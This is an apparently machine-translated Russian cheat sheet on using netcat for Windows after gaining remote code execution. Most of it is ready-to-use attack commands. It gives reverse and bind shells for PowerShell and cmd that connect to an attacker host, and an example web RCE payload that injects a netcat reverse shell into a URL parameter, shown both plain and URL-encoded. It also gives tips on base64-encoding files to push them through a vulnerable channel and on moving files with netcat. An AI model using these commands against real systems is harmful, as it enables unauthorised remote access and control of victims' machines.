Эта проблема

Мы хорошо знаем ситуацию, у нас есть удаленное выполнение кода и мы можем загружать и / или записывать файлы через темпераментное соединение, но нам нужно что-то более надежное, что-то вроде netcat, которое всегда чертовски удобно при pwing-системах Unix.

Решение - Netcat для Windows

Получите 32-битную версию здесь:



И 64-битная версия здесь:



Загрузка файлов

Хороший совет, который часто бывает полезен, - это кодировать файл base64, а затем просто скопировать blob-объект base64 в файл через vuln или RCE и либо сначала декодировать, либо после, в зависимости от вашей ситуации RCE. Если вы попытаетесь скопировать файл как есть, во многих ситуациях проблемное содержимое, такое как операторы языка или нулевые байты и т. Д., Нарушит соединение, приложение или, что еще хуже, приведет к сбою целевого хоста.

Обратный Powershell

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell
#64bit
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

Пример RCE в веб-приложении:

http://vulnerable.com?pageId=nc64.exe 10.10.10.10 1337 -e powershell

Конечно, в дикой природе мы бы закодировали URL-адрес:

http://vulnerable.com?pageId=nc64.exe%2010.10.10.10%201337%20-e%20powershell

Привязать Powershell

#32bit
nc.exe -l -p $LISTENPORT -e powershell
#64bit
nc64.exe -l -p $LISTENPORT -e powershell

Обратная оболочка

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd
#64bit
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd

Привязать оболочку

#32bit
nc.exe -l -p $LISTENPORT -e cmd
#64bit
nc64.exe -l -p $LISTENPORT -e cmd

Перенести файл

Отправитель (Unix)

nc $TARGET $PORT < $FILE

Приемник (Windows)

#32bit
nc.exe -l -p $LISTENPORT > $FILE
#64bit
nc64.exe -l -p $LISTENPORT > $FILE